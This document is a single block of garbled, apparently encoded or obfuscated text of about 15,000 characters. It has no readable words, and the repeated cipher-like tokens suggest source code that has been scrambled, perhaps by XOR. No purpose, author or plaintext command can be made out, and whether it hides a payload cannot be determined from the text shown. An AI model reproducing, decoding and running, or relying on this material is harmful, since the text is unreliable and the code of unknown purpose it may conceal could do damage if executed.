[RQRKKQCVAI]F__9H99_Z@GRAARJ99ZU_KFRJIF\ H9AVGFA]_Z@G9N9RWRCGZEVRWRCGVA999ZU@ [lXTTYlJ]F__HDW][ _J\l PJlEEK]CVXDW][ _J\l99@ [lXTTYlJRAARJ99[
[RQRKKQCVAIE]AP@TR^\BGGAFV
999N999ZU_R
@lGEYPGAFV[
[RQRKKQCVAIH9AVGFA]_Z@G9N9ZU_TUZF ^WX
]UZlGZUP]H9AVGFA]_Z@G9N9lWV
P@Z]AUsDDlT[Z ED^WX
]UZlGZUP]9ZUlWV
P@Z]AUUR_@VH9ZUZ@@VG@ [lXTTYlJhlWV
P@Z]AUnH9AVGFA]_Z@G9N9@ [lXTTYlJhlWV
P@Z]AUnGAFV999N9FE\@X A^lRXB@C[Q\AJRU@DPJ^WX
]UZlGZUP][DQ
@Q^U[BGKWKD^AF]GFUX@Dl[DQ
@Q^U[BG9ZU_TUZFFE\@X A^lRXHUTTYCFWU^c{clz}gl~rkc{clz}gl~rkXJVXJWICYEUTTYCFWU^9AVGFA]_Z@G9999N9U\AVRP[FE\@X A^lRXR@RTBJ@[[KG\CWZH9c`a]R^V@CRPV@	DVRXQA\RWPR@GVA999ZUE]AP@TR^\BGGAFV[
[RQRKKQCVAIOOE]AP@TR^\BG
_Z@G H9QAVRX9N9999]U[IXWQCAQQ^WX
]UZlGZUP]RTBJ@[[KG\CWZ9999ZUs_TUZF

]U[IXWQCAQQH9P\]GZ]FVKX UU@IY
YD  G XRTKX UU@IY
YD 9N9ZUs_TUZF ]U[IXWQCAQQHXJVI[Y
R@DXJVI
9_Z@GE]AP@TR^\BG _Z@G_PGIJ_ @C l@G]U[IXWQCAQQA 
AB_KFRJIF\@ [lXTTYlJ[
[RQRKKQCVAI9NV_@VZUs_R
@lGEYP ]U[IXWQCAQQH9Z_[@lUXZ^__TUZF]U[IXWQCAQQP\]@GR]GE]AP@TR^\BG9999Z_[@lUXZ^__R
@lGEYP
Z_[@lUXZ^_E]AP@TR^\BGZ_[@lUXZ^_	9999ZUDDlT[Z EDZ_[@lUXZ^_A 
ABGAFVH9_Z@Ghn]U[IXWQCAQQ9999N9N9N9V]RQ_V\CV]V]EV_\CV99AVGFA]_Z@G99N99UF]PGZ\]_Q
]]^KVIFJC_FTZ]lQR@V]R^V9H9999ZUE]AP@TR^\BG
C_FTZ]lQR@V]R^VOOC_FTZ]lQR@V]R^VH9AVGFA]UR_@V999N9999ZU_R
@lGEYP C_FTZ]lQR@V]R^VDDlT[Z ED 
UR_@VH9AVGFA]UR_@VQ ADP
P[XE[
 ^YlQ ADP9N99C_FTZ]lQR@V]R^V_R
@lGEYPC_FTZ]lQR@V]R^V9ZUC_FTZ]lQR@V]R^V\B_Z[AFl\DlH9VKC\]V]GZR_QAR]WVWGJCV99AVGFA]UR_@V9N99ZU_TUZF_R
@lGEYP_R
@lGEYPrq`crg{DDlT[Z EDH9c{c`GR]_VEV_
@AP@VGWV@PAZCG\A99AVBFZAVl\]PVrq`crg{E]AP@TR^\BG99N99ZUE]AP@TR^\BGDDlT[Z EDZ@lC_FTZ]lRPGZEVC_FTZ]lQR@V]R^VH9WVRPGZERGVlC_FTZ]@RAARJC_FTZ]lQR@V]R^VGAFV9N99^WX
]UZlGZUP]WVUZ]VWDDlT[Z EDdclcftz}lwzaE]AP@TR^\BGC_FTZ]lQR@V]R^V	9ZU^WX
]UZlGZUP]_R
@lGEYP^WX
]UZlGZUP]DDlT[Z ED
C_FTZ]lQR@V]R^VE]AP@TR^\BGC_FTZ]lQR@V]R^VH9ZUXX
Z ABBD_
K^^WX
]UZlGZUP]H9AVGFA]GAFV999N9N999ZU_TUZF_R
@lGEYPH99ZUE]AP@TR^\BG_TUZF OOPFAAV]GlF@VAlPR]E]AP@TR^\BGH9dc`\PZR_Z]X@@GJ_VUR__QRPX99ZU_TUZFE]AP@TR^\BG_R
@lGEYPE]AP@TR^\BGH9F@VA@TVGlF@VA@RAARJE]AP@TR^\BG_TUZFDDlT[Z ED9ZUV^CGJF@VA@F@VA@hnzwH9_TUZFF@VA@hnzw^llJ\C Ec{cl~ry|aleva`z|}IZTDECTGU^^llJ\C E 9NV_@VH9999_R
@lGEYP
9N9N9N99B[CGWEB UB@WV_VGVlC_FTZ]@RAARJC_FTZ]lQR@V]R^V9ZUZ@lDClVAA\AB[CGWEB UB@H9AVGFA]Q\\_B[CGWEB UB@9N9N9AVGFA]UR_@V999N9999UF]PGZ\]XX
Z ABBD_
K^^WX
]UZlGZUP]_KFRJIF\9999H99ZU_KFRJIF\KPKH9AVGFA]UR_@V99N9ZU_TUZF^WX
]UZlGZUP]OO^WX
]UZlGZUP]OODDlT[Z ED ^WX
]UZlGZUP]DDlT[Z EDUR_@VH999AVGFA]UR_@V9N9J@I TG
G Ks_R
@lGEYP^WX
]UZlGZUP]9ZUJ@I TG
G KUR_@VOO_R
@lGEYPJ@I TG
G KH9AVGFA]UR_@V9N9TX]C QG_
AYWVUZ]VW_TUZFsDDlT[Z ED dclcftz}lwza	UR_@V9ZUTX]C QG_
AYUR_@VOOJ@I TG
G KTX]C QG_
AYDDlT[Z EDJ@I TG
G KTX]C QG_
AYwzavpg|ajl`vcrarg|aH9AVGFA]UR_@V9N9WCEFXK ^IYWAs_R
@lGEYPJ@I TG
G K9ZUE]AP@TR^\BGWCEFXK ^IYWAH9_Z]VRAZIRQ_V@_ZWZ]TDZ]W\D99AVGFA]UR_@V9N9U\AVRP[WCEFXK ^IYWAR@GE^FZKYY DH9ZUGE^FZKYY DOOGE^FZKYY DDDlT[Z EDHYJlYWG_YUGBYJlYWG_99P\]GZ]FV99N9]U[IXWQCAQQJ@I TG
G KP\]@GR]GE]AP@TR^\BGGE^FZKYY D9999ZUsDDlT[Z ED

]U[IXWQCAQQH9D_[][\JlFKFCVGRU]U[IXWQCAQQ9999P\]GZ]FV9N9ZUsE]AP@TR^\BG]U[IXWQCAQQH999XX
Z ABBD_
K^]U[IXWQCAQQ_KFRJIF\9NV_@VH9ZUD_[][\JlFKFCVGRU]U[IXWQCAQQH999QD^BPU^^^C \V]U[IXWQCAQQK RKR9D_[][\JlFKFCVGRU]U[IXWQCAQQ9N9N9N9ZUsE]AP@TR^\BGJ@I TG
G KH9QD^BPU^^^C \VJ@I TG
G K 9s_TUZFJ@I TG
G K9999N999AVGFA]sE]AP@TR^\BGJ@I TG
G K9N99999999UF]PGZ\]AK_A@ZUI
[PKJDBUX9H9GAJH9dcF@Vv]GZGJcA\C	AVRWP\^^ZGGVW@VAZR_ZIVA99_Z@GUZWQG
\DGD[VUZRlV999ZU_TUZF_Z@GH9AVGFA]9N99@VEBA@[@IWR
CDRAARJ9ZEZR[WWUBlUR_@V9U\AVRP[E]AP@TR^\BG
_Z@GR@QR@V]R^VH99ZU_R
@lGEYP QR@V]R^VH9P\]GZ]FV9N99UXDEY]ZVYQEDEDDlT[Z EDQR@V]R^V999ZUUXDEY]ZVYQEDEH9UXDEY]ZVYQEDEQR@V]R^V9N9ZUZ@@VG@VEBA@[@IWR
CDhUXDEY]ZVYQEDEnH9P\]GZ]FV9N99@VEBA@[@IWR
CDhUXDEY]ZVYQEDEnGAFV9ZUl_[GWZUACDTCXQR@V]R^VH99_Q
]]^KVIFJQR@V]R^V99999ZEZR[WWUBlGAFV9N9WVPZWRQ_VCAZ]PZCR_99999N9dc`ZGVgZG_V	Z]_Z]VZGVARG\A99999ZUs_R
@lGEYP VAIWl[U_Q@W
EZPCT
@H999B@T V[BB@C[Q\AJRU@DPJVAIWl[U_Q@W
EZPCT
@9ZUE]AP@TR^\BG B@T V[BH9QUJ CCBt|qr`hDDlT[Z ED  n9U\AVRP[B@T V[BR@RTBJ@[[KG\CWZH99ZURTBJ@[[KG\CWZ@_WE[^XGUGJJQH999P\]GZ]FV99N99BGWYVCPXGVAIWl[U_Q@W
EZPCT
@RTBJ@[[KG\CWZ99ZUs_TUZF BGWYVCPXGOODDlT[Z ED_R
@lGEYPRTBJ@[[KG\CWZP\]@GR]G_TUZF_TUZFH9P\]GZ]FV9N99ZUK_V^W
_IQ RV[BGWYVCPXGQUJ CCBH9^VR@FAVP\]GA\_U_\DTARC[U\AdcF@Vz]]VAq_\PX@cA\C@99999D_[][\JlFKFCVGRUBGWYVCPXG9999ZEZR[WWUBlGAFV9N999N9N99N99P\EXUE I[t|qr`h_TUZF n9ZU_TUZF P\EXUE I[V^CGJP\EXUE I[H9ZUQAXARZGDC[CTBP\EXUE I[H9ZEZR[WWUBlGAFV9N99N9NPRGP[g[A\DRQ_VTDKQ[VTBBQIH9XJRP]KB[TDDlT[Z ED TDKQ[VTBBQI9999NPRGP[vKPVCGZ\]TDKQ[VTBBQIH9N9N99UF]PGZ\]ABYTJWAR@D\l 9H9GAJH9BZEFCDY][Z]GTVGl\CGZ\]_R
@lGEYP 999ZUDDlT[Z EDBZEFCDY][
 H9FCWRGVl\CGZ\]E]AP@TR^\BG E]AP@TR^\BG9UAG\RJXXJRAARJRAARJ@A\XI@CUP^@AI][RAARJ_TUZF 9JQY][Z^ TK
WE]AP@TR^\BG_R
@lGEYPDDlT[Z ED	9ZUJQY][Z^ TK
WJQY][Z^ TK
W@A\XI@CUP^@AI][UAG\RJXXJhnRAARJJQY][Z^ TK
WRAARJ_R
@lGEYP DDlT[Z ED 
9U\AVRP[UAG\RJXXJR@CCU]FTTIlH9U\AVRP[CCU]FTTIlhnR@FDK
RJTW\RWQH9_C_IJ\F]__R
@lGEYP_TUZF s_R
@lGEYP CCU]FTTIlhnFDK
RJTW\RWQ	UR_@V9ZUE]AP@TR^\BG_C_IJ\F]_P\]GZ]FV9U\AVRP[_C_IJ\F]_R@__IBJA]
W^XKH9ZUs_R
@lGEYP __IBJA]
W^XKP\]GZ]FV9RGB XBT[sE]AP@TR^\BG__IBJA]
W^XK999ZURGB XBT[UR_@V_TUZFRGB XBT[ D_[][\JlFKFCVGRU__IBJA]
W^XK9N9N9N99VTEGQ^D EJTVGl\CGZ\]DDlT[Z EDRAARJ9ZU_R
@lGEYPVTEGQ^D EJVTEGQ^D EJRAARJ9DlZR\@UVAEDDlT[Z ED YDA[\
D@PQVUAVDDlT[Z EDTWXXQ T@WIJ
^ElUX TWXXQ T@WIJ
9lCWWVUZ]VWE]AP@TR^\BG dclp|}gv}glwza	rq`crg{_TUZF E]AP@TR^\BG9U\AVRP[_TUZFDDlT[Z ED RAARJsE]AP@TR^\BGlCWDDlT[Z ED	RAARJR@XV
\G_]E^H9ZUDDlT[Z ED _R
@lGEYPXV
\G_]E^DlZR\@UVAEP\]GZ]FV9A_GGYKREDDlT[Z ED E]AP@TR^\BGXV
\G_]E^E]AP@TR^\BG XV
\G_]E^9ZUDDlT[Z EDA_GGYKREVTEGQ^D EJGAFVP\]GZ]FV9ZUs_TUZFXV
\G_]E^P\]GZ]FV9]Vl^F RQ]T]@sDDlT[Z EDXV
\G_]E^9999ZU]Vl^F RQ]T]@OO]Vl^F RQ]T]@KWQ
KWP\]GZ]FV9]UWUX]BTIC_\s_TUZFXV
\G_]E^9ZUDDlT[Z ED ]UWUX]BTIC_\OO_R
@lGEYP]UWUX]BTIC_\DDlT[Z ED
UR_@VP\]GZ]FV9]]Pl\^P\V D_R
@lGEYP
E]AP@TR^\BG]UWUX]BTIC_\9ZU_TUZF]]Pl\^P\V DOO]]Pl\^P\V D]UWUX]BTIC_\OOZRG
\KYQ\R AXG]]Pl\^P\V DP\]GZ]FV9_Bl[
X^GYCY^P XV
\G_]E^]]Pl\^P\V D9ZUDDlT[Z EDE]AP@TR^\BG s\CPRP[VlZ]ER_ZWRGVXV
\G_]E^GAFV999N9F]@VGVTEGQ^D EJDlZR\@UVAElCWXV
\G_]E^A_GGYKRE]Vl^F RQ]T]@]UWUX]BTIC_\]]Pl\^P\V D9999_VQ]E[DERTR\KQJV9N99999\QX^]RPAYt|qr`hE]AP@TR^\BG  n9P\EXUE I[t|qr`h_TUZF n9999E^AQY\^_R
@lGEYP\QX^]RPAYV^CGJ\QX^]RPAYOOE]AP@TR^\BGP\EXUE I[V^CGJP\EXUE I[9ZUE^AQY\^H9AVGFA]9N99999]RYETAIR[Q
lQUTZ]GTVGl\CGZ\]_TUZF9ZUDDlT[Z ED]RYETAIR[Q
lQUT  H9999AVGFA]9N9999AK_A@ZUI
[PKJDBUX9FCWRGVl\CGZ\]DDlT[Z EDE]AP@TR^\BG9NPRGP[g[A\DRQ_VTDKQ[VTBBQIH9XJRP]KB[T_R
@lGEYPTDKQ[VTBBQI9999NPRGP[vKPVCGZ\]TDKQ[VTBBQIH9N9N99UF]PGZ\]IYK 
FC_AR9H9GAJH9999[[_CC\A^IRIU]_R^BXF_[ \U R9ZU[[_CC\A^IROODDlT[Z ED
[[_CC\A^IR
  AVGFA]9ZUZRG
\KYQ\R AXG[[_CC\A^IRH9XJRP]KB[T_TUZFE]AP@TR^\BG9999AVGFA]9N9999ZUE]AP@TR^\BG_TUZFTVGlGAR]@ZV]GE]AP@TR^\BG
AVGFA]99\FGRD IXAB_VAIWl[U_Q@W
EZPCT
@9P_VRA@GRGPRP[VGAFV9ZUsE]AP@TR^\BG

\FGRD IXAB_s_TUZF \FGRD IXAB_HPTJYDQ]GDK@KYKEBUXPTJYDQ]9AVGFA]9N99ZUsE]AP@TR^\BG \FGRD IXAB_H9P@_DXElCJXCTJsF^R@X9BRFY @QI@lG^\FGRD IXAB_
GAFV9sF^R@XP@_DXElCJXCTJ9QD^BPU^^^C \V\FGRD IXAB_
9P_VRA@GRGPRP[VGAFV9NV_@VZUsE]AP@TR^\BG\FGRD IXAB_OOs_TUZF\FGRD IXAB_H9CA\EZ@Z\]P\]@GR]GGZ^VARWZKGAVV99QD^BPU^^^C \V\FGRD IXAB_QD\K]AK\  
OURI \TFU XJ[QD\K]AK\ m
9999P_VRA@GRGPRP[VGAFV9N99ZUs_R
@lGEYP \FGRD IXAB_s_R
@lGEYP\FGRD IXAB_OOs_R
@lGEYP\FGRD IXAB_s_R
@lGEYP\FGRD IXAB_H9P@_DXElCJXCTJsF^R@X9BRFY @QI@lG^\FGRD IXAB_GAFV9sF^R@XP@_DXElCJXCTJ9QD^BPU^^^C \V\FGRD IXAB_
9P_VRA@GRGPRP[VGAFV99N999P_VRA@GRGPRP[VGAFV9ZUs_TUZF \FGRD IXAB_OOs_R
@lGEYP\FGRD IXAB_OOsE]AP@TR^\BG\FGRD IXAB_H9XJRP]KB[T_TUZF_R
@lGEYP9ZUE]AP@TR^\BGE]AP@TR^\BG s@VGlGAR]@ZV]G_TUZF 9AVGFA]9N999Y[^^AFR^JV\FGRD IXAB_@_WE[^XGUGJJQ99ZUWlQ^TGDA
Q[FBJJEY[^^AFR^JVH9AVGFA]9999N999ZUsE]AP@TR^\BGY[^^AFR^JVs_R
@lGEYPY[^^AFR^JV
_R
@lGEYPQYDlT@]@EWXY@ZT[YT\FY@GAZ]Ts_TUZFY[^^AFR^JV_R
@lGEYP[[_CC\A^IRH9PZZUJW[@
ClCFY[^^AFR^JV9XFT PCCAIY9GlU \UKI
FF\\XW@9AVGFA]9N999ZUs_R
@lGEYPY[^^AFR^JVsE]AP@TR^\BGY[^^AFR^JV
H9IJPICRZDV^C@GAZ]TsE]AP@TR^\BGY[^^AFR^JVUR_@V]F__9ZU_TUZFIJPICRZDV^C_R
@lGEYPE]AP@TR^\BGIJPICRZDV^ClW^EVA@Z\]lP\^CRAVlW^hnB
C\ZlAP^PVX_\G_^ZAVGFA]9F]@VGIJPICRZDV^ClW^9N9A_DFRWDWP@^U_Bl[
X^GYCY^P Y[^^AFR^JVZ
GB\BC_AR[[_CC\A^IR999ZUA_DFRWDWP@^UOOs_R
@lGEYPY[^^AFR^JVOOs_TUZFY[^^AFR^JVKWKOO_TUZFQYDlT@]@EWXY@ZT[YT\FY@GAZ]TsE]AP@TR^\BG
Y[^^AFR^JV_R
@lGEYP[[_CC\A^IRH9ZUA_DFRWDWP@^UsDDlT[Z EDY[^^AFR^JVH9IJPICRZDV^C@GAZ]TsDDlT[Z EDY[^^AFR^JVUR_@V]F__999CR^W@C[[WXKBUVE]AP@TR^\BGIJPICRZDV^CE]AP@TR^\BG_TUZFIJPICRZDV^ClW^EVA@Z\]lP\^CRAVlW^hnB
C\ZlAP^PVX_\G_^Z9F]@VGIJPICRZDV^ClW^9ZUCR^W@C[[WXKBUVH9999QD^BPU^^^C \VY[^^AFR^JV 9D_[][\JlFKFCVGRUY[^^AFR^JV9N9N9ZU_R
@lGEYPE]AP@TR^\BG s@VGlGAR]@ZV]G_TUZF 
9AVGFA]AXRVWF

 lPTZJRJK@BAXRVWF9N9RG\^ZP@REVC\Z]G999E[VEEQGFXUA\[^PY[^^AFR^JV9QD^BPU^^^C \VY[^^AFR^JV9PZZUJW[@
ClCFY[^^AFR^JV9XFT PCCAIY999GlU \UKI
FF\\XW@9NPRGP[g[A\DRQ_VTDKQ[VTBBQIH9XJRP]KB[TDDlT[Z ED TDKQ[VTBBQI9NPRGP[vKPVCGZ\]TDKQ[VTBBQIH9dc}REZTRGZ\]q_\PX@PAZCGWVCV]WV]PJ99N9999N9UF]PGZ\]C@K^@EQ@CAJTDJ]WV\\9H9GAJH9[[_CC\A^IRIU]_R^BXF_[ \U R9ZU[[_CC\A^IRP\F\X^VJ CE[[_CC\A^IRH9P@_DXElCJXCTJRZWW
ZYXT_\DQE]AP@TR^\BG9ADA RVGJ[UDGQ^[Gl[_DDlT[Z EDP@_DXElCJXCTJP@_DXElCJXCTJ	9IQZ E[BKCPW[UDGQ^[Gl[_[[_CC\A^IR9ZU_TUZFP@_DXElCJXCTJOODDlT[Z ED
P@_DXElCJXCTJOOP\F\X^VJ CEP@_DXElCJXCTJOOADA RVGJOOIQZ E[BKCPWEVA@Z\]lP\^CRAVIQZ E[BKCPWADA RVGJH9X[RZVlID
UT\BTZXYDVDDlT[Z ED[[_CC\A^IRDDlT[Z ED999ZU_R
@lGEYPE]AP@TR^\BG H9999sFCWRGVl\CGZ\]E]AP@TR^\BG_R
@lGEYP9sFCWRGVl\CGZ\]E]AP@TR^\BG_TUZF9999sFCWRGVl\CGZ\]_R
@lGEYP_R
@lGEYP9N9ZUE]AP@TR^\BGE]AP@TR^\BGsWV_VGVlGAR]@ZV]GQAJXX
_CJ9N9N99ZU_R
@lGEYPE]AP@TR^\BG _R
@lGEYPDDlT[Z ED
H9[IDWGlDBK^JTVGl\CGZ\]DDlT[Z ED9ZU[IDWGlDBK^JUR_@V[IDWGlDBK^JB
C\ZlAP^PVX_\G_^ZH9sFCWRGVl\CGZ\]_R
@lGEYPB
C\ZlAP^PVX_\G_^ZDDlT[Z ED9N9N9ZUDDlT[Z ED_R
@lGEYPOORWWl\CGZ\]E]AP@TR^\BGB
C\ZlAP^PVX_\G_^Z_R
@lGEYPH9AVGFA]9N999R\T\[A_B^E_REIQPPB9ZUE]AP@TR^\BG E]AP@TR^\BG
H9sFCWRGVl\CGZ\]E]AP@TR^\BG_R
@lGEYP9999sFCWRGVl\CGZ\]_R
@lGEYPDDlT[Z EDIPGT_AWYWXPT
Q^PXJ[QIPGT_AWYW9sFCWRGVl\CGZ\]DDlT[Z EDDDlT[Z ED9999N9ZU_R
@lGEYP _R
@lGEYPsWV_VGVlGAR]@ZV]GQAJXX
_CJ99ZU[[_CC\A^IRP\F\X^VJ CE[[_CC\A^IRH9X[RZVlID
UT\BTZXYDVE]AP@TR^\BG[[_CC\A^IR_TUZF_XBD]RUYUBKUFX]Z_XBD]RU_XBD]RU	_XBD]RU9N9IE\EPBXTGIB]F__99QD^BPU^^^C \VYDA[\
D@PQVUAVKPK
99C@A@EXDYWDWTGDDlT[Z ED
_TUZF
99C@A@EXDYWDWTGE]AP@TR^\BG
DDlT[Z ED
99NPRGP[g[A\DRQ_VTDKQ[VTBBQIH9XJRP]KB[T_TUZF
TDKQ[VTBBQI9ZUE]AP@TR^\BG DDlT[Z ED
 sWV_VGVl\CGZ\]_R
@lGEYP9NPRGP[vKPVCGZ\]TDKQ[VTBBQIH9ZU_R
@lGEYP _R
@lGEYP
 sWV_VGVl\CGZ\]DDlT[Z ED^JJECT^WKVQKCWDQIT\BR^JJECT^W 9N9N9UF]PGZ\]GEB^TECJ^
l@XJGEI@9HE CTU\
E
[V  CE
U

\RlGE CTU\
E
[V9GAJH99ZUE]AP@TR^\BG _TUZFH9sE]AP@TR^\BG[\^VlFA_RAARJ_R
@lGEYP
 mDDlT[Z EDUR_@V_TUZF UR_@V9N99NPRGP[g[A\DRQ_VTDKQ[VTBBQIH9XJRP]KB[TE]AP@TR^\BG
TDKQ[VTBBQI9NPRGP[vKPVCGZ\]TDKQ[VTBBQIHYJT_VQ
FY[^ZU
RYJT_VQ
F  999N9999N99UF]PGZ\]BEX]QP_GA WE[lV_Cll9H9@GRGZP[AGTJA\KK
]UR_@V9ZU[AGTJA\KK
]AVGFA]9[AGTJA\KK
]GAFV9GAJH9ZUDDlT[Z ED DDlT[Z ED
OOZ@lRW^Z]H99AVGFA]9N9ZUDDlT[Z ED
_R
@lGEYP OOPFAAV]GlF@VAlPR]_TUZF
H9dcpF@G\^Z]X	Z]GVAPVCG]\A^R_U\A^99AVGFA]9N9Tl@F\KZ KZ@@VGlavbfv`gh_R
@lGEYP

nlavbfv`gh_TUZF

n	9Tl@F\KZ KDDlT[Z EDTl@F\KZ KDDlT[Z EDTl@F\KZ K	9ZUTl@F\KZ KE]AP@TR^\BG
Tl@F\KZ K_R
@lGEYP
H9AVGFA]9N99UI_Q_DGFDAPGRAARJ9ZUTl@F\KZ K_R
@lGEYP
H9@BQWC
AB T@CZ@@VGlavbfv`gh_TUZFnlavbfv`gh_TUZFn	9@BQWC
AB T@CDDlT[Z ED@BQWC
AB T@C_R
@lGEYP@BQWC
AB T@C	9ZU@BQWC
AB T@C@BQWC
AB T@C\B_Z[AFl\DlH9UI_Q_DGFDAPGhn@BQWC
AB T@C9N9NV_@VH999UXZ TXR@DAEZ@@VGlavbfv`ghE]AP@TR^\BG
nlavbfv`ghE]AP@TR^\BG
n	RAARJ9UXZ TXR@DAEE]AP@TR^\BGUXZ TXR@DAEUXZ TXR@DAE	RAARJ99U\AVRP[UXZ TXR@DAER@@BQWC
AB T@CH9@BQWC
AB T@C_TUZF
 @BQWC
AB T@CDDlT[Z ED@BQWC
AB T@C	9ZU@BQWC
AB T@C@BQWC
AB T@C\B_Z[AFl\DlHG@Y]_XlV[F
 Y
 BG@Y]_XlV[F99UI_Q_DGFDAPGhn@BQWC
AB T@C9N9N99N9ZUV^CGJUI_Q_DGFDAPGH99AVGFA]9N9ZEZR[WWUBlUR_@V9U\AVRP[UI_Q_DGFDAPGR@@BQWC
AB T@CH999ZUl_[GWZUACDTCX@BQWC
AB T@CH9_Q
]]^KVIFJ@BQWC
AB T@C9ZEZR[WWUBlGAFV9N9N9ZUZEZR[WWUBlH999ZUDDlT[Z ED
E]AP@TR^\BG
E]AP@TR^\BG
_R
@lGEYP
H[TW
lAY@QIFQlDJJ\G [TW
lAY@QI9DCl@RUVlAVWZAVPGRW^Z]lFA__R
@lGEYP
9N9N99NPRGP[g[A\DRQ_VTDKQ[VTBBQIH9XJRP]KB[TE]AP@TR^\BG
TDKQ[VTBBQI9NPRGP[vKPVCGZ\]TDKQ[VTBBQIH9N9N9UF]PGZ\]XWVJ
BFR]W@ICAlXllUKDIGZBAYUGY@D_U]XJ
9H9ZUBAYUGY@D_U]XJ
_TUZF

H99C_FTZ]@t|qr`h_R
@lGEYP
n9999ZUZ@@VGC_FTZ]@hE]AP@TR^\BG

nOO_R
@lGEYPC_FTZ]@hE]AP@TR^\BG

nH9AVGFA]lXllUKDIGZ9N9[l]]BYF^VK]WVUZ]VWDDlT[Z ED dclp|}gv}glwza	WVUZ]VWE]AP@TR^\BG
rq`crg{_TUZF 	9ZU[l]]BYF^VK]H9AVGFA]lXllUKDIGZ9N9dcv]GZGJaVP\AW@C\@GGJCV@VGFC99C]A]JGTA[VQRAARJ_TUZF
_R
@lGEYP
 _R
@lGEYP
_TUZF
9U\AVRP[C]A]JGTA[VQR@^EIJ\GICZ
JFDK
RJTW\RWQHRXUTFI^V
KK
W\VWB@KZRXUTFI^V
9ZUZ@@VGC_FTZ]@hE]AP@TR^\BG

nh^EIJ\GICZ
JnH99P\]GZ]FV9999N9UE VA
A@ZIKsE]AP@TR^\BG
[l]]BYF^VK]^EIJ\GICZ
J9ZU_TUZF
 UE VA
A@ZIKOODDlT[Z ED
UE VA
A@ZIK_TUZF
FDK
RJTW\RWQE]AP@TR^\BG

UR_@VH9P\]GZ]FV99N9B^lP@K@^YTVAQT_TUZF
_TUZF
FDK
RJTW\RWQE]AP@TR^\BG
FDK
RJTW\RWQE]AP@TR^\BG
UE VA
A@ZIK999ZUE]AP@TR^\BG
 B^lP@K@^YTVAQTH99P\]GZ]FV9N9999B^lP@K@^YTVAQTE]AP@TR^\BGB^lP@K@^YTVAQT9ZUB^lP@K@^YTVAQTOOB^lP@K@^YTVAQT_R
@lGEYPOOB^lP@K@^YTVAQTE]AP@TR^\BGH9dc`ZGV\T\_RIJWVP\WV99F]@VGC_FTZ]@hDDlT[Z ED

nh^EIJ\GICZ
Jn9N9N99AVGFA]lXllUKDIGZ999N9ZUBAYUGY@D_U]XJ
_TUZF
H9AVGFA]lXllUKDIGZ9N9C_FTZ]@t|qr`hDDlT[Z ED
n9\^XCl\ETY_TUZF
YDA[\
D@PQVUAV99ZUZ@@VGC_FTZ]@hDDlT[Z ED
nh\^XCl\ETYnH9F]@VGC_FTZ]@h_R
@lGEYP
nh\^XCl\ETYn9N9AVGFA]lXllUKDIGZ9N9ZUE]AP@TR^\BG
DDlT[Z ED
H9UF]PGZ\]BPEWYZEBPU9H9ZUUI]l^^Bl@JVH9AVGFA]9N999K_@IF@\]EA
W_TUZF
YDA[\
D@PQVUAV9AYRKTE\^E]AP@TR^\BG
YDA[\
D@PQVUAVE]AP@TR^\BG9UDQ CP_VRVAYRKTE\^K_@IF@\]EA
W9999VP[\DDlT[Z ED
V@PlRGGAK_@IF@\]EA
W_TUZF

V@PlRGGAUDQ CP_VRVE]AP@TR^\BG
 9VP[\_TUZF
 V@PlY@K_@IF@\]EA
W_TUZF
 V@PlY@UDQ CP_VRV_TUZF
  9999N99N9ZU_TUZF
_R
@lGEYP
 H9UF]PGZ\]^EI_V^_TIllCRZKPGDG\Fl9H9ZU_R
@lGEYP
 ZKPGDG\FlH9AVGFA]ZKPGDG\Fl9N9K_@IF@\]EA
W\B_Z[AFl\Dl9ZUZ@@VGZKPGDG\FlAV@C\]@VhK_@IF@\]EA
WnH9F]@VGZKPGDG\FlAV@C\]@VhK_@IF@\]EA
Wn9N9AVGFA]ZKPGDG\Fl999N9F]DZ]WGRQ_V99N9ZU_R
@lGEYP
DDlT[Z ED
 H99UF]PGZ\]C[]FV@YQT[FV\C_FTZ]@9H9Z]^ECVK\YDQI\B_Z[AFl\Dl9999ZUZ@@VGC_FTZ]@hZ]^ECVK\YDQInH9F]@VGC_FTZ]@hZ]^ECVK\YDQIn9N9AYRKTE\^_TUZF
YDA[\
D@PQVUAV_TUZF9UDQ CP_VRVAYRKTE\^_R
@lGEYP
YDA[\
D@PQVUAV9ZUZ@@VGC_FTZ]@hUDQ CP_VRVnH9F]@VGC_FTZ]@hUDQ CP_VRVn9N9AVGFA]C_FTZ]@9N9N9999UF]PGZ\]K[QZRTDVT[\ClWKFQlJ_XJlXY]\9H99ZUDDlT[Z ED
 FQlJ_XJlXY]\H9AVGFA]FQlJ_XJlXY]\KITEU^YZ WOA_Ql\lGUDKITEU^YZ Wm
9999N9CPRYFWBA9ZUDDlT[Z ED
DDlT[Z ED
 _TUZFYDA[\
D@PQVUAVH9l YQYXJ_XV\^UCTVGlC_FTZ]lWRGRYDA[\
D@PQVUAVUR_@VUR_@V999CPRYFWBAZ@@VGl YQYXJ_XV\^UCh_TUZF
 
nl YQYXJ_XV\^UCh_R
@lGEYP
 
n	999N9l[PU^ZEZGlRVRAARJ_R
@lGEYP
DDlT[Z ED
9U\AVRP[l[PU^ZEZGlRVR@AT
UKIPlCGRH9ZUZ@@VGFQlJ_XJlXY]\hAT
UKIPlCGRnh_TUZF
nOODDlT[Z ED
 FQlJ_XJlXY]\hAT
UKIPlCGRnhDDlT[Z ED
nH9P\]GZ]FV9N9U\AVRP[FQlJ_XJlXY]\hAT
UKIPlCGRnhDDlT[Z ED
 nR@XVJCP_KQVEXH9ZUDDlT[Z ED
XVJ\B_Z[AFl\DlUR_@VOOXVJ\B_Z[AFl\DlH999F]@VGFQlJ_XJlXY]\hAT
UKIPlCGRnh_R
@lGEYP
 nhXVJn9P\]GZ]FV9N9ZUCPRYFWBAXVJCPRYFWBAH9F]@VGFQlJ_XJlXY]\hAT
UKIPlCGRnhE]AP@TR^\BG
nhXVJn9P\]GZ]FV9N9N9N9U\AVRP[RAARJ_TUZF
_TUZF
R@FZ^XG^TBERH9RPGZERGVR@J]P[A\]\F@Z]YVPG\A99VKFKBW_[Z@@VGFQlJ_XJlXY]\hFZ^XG^TBERnhE]AP@TR^\BG
nE]AP@TR^\BG
 FQlJ_XJlXY]\hFZ^XG^TBERnh_R
@lGEYP
nFQlJ_XJlXY]\hFZ^XG^TBERnhDDlT[Z ED
n	RAARJ9ZUVKFKBW_[P\]GZ]FV9\FJP^EWVUZ]VW_TUZF dc~flcftz}lwza	WVUZ]VWDDlT[Z ED dclp|}gv}glwzaDDlT[Z ED	9@ZW\JA
RAARJ9ZUCPRYFWBA@ZW\JA
hnCPRYFWBA999@ZW\JA
hn_TUZF
YDA[\
D@PQVUAVC__D]
D_]R JRlQ]JYUC__D]
D_]R9ZU\FJP^EsDDlT[Z ED
